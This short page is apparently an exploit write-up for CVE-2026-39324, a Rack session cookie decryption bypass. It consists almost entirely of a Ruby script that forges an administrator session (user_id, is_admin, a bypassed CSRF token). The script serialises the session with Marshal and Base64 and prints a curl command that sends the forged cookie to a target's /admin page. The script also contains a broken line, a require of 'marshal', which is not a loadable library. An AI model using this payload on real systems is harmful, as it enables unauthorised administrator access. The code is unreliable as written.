CVE-2026-39324 Rack Session Cookie 解密绕过漏洞

require 'base64' require 'marshal' # Crafted session data to impersonate an administrator # Attackers can manipulate the 'user_id' or 'is_admin' fields malicious_session = { 'user_id' => 1, 'is_admin' => true, 'csrf_token' => 'bypassed_token' } # Serialize the object using Ruby's Marshal format # This mimics the internal format Rack uses for session storage marshaled_data = Marshal.dump(malicious_session) # Encode the data in Base64 # This creates a cookie payload that bypasses the decryption check crafted_cookie_value = Base64.strict_encode64(marshaled_data) puts "[+] Generated Malicious Cookie Payload:" puts "Cookie: rack.session=#{crafted_cookie_value}" puts "" puts "Usage: curl -b 'rack.session=#{crafted_cookie_value}' http://target-url/admin"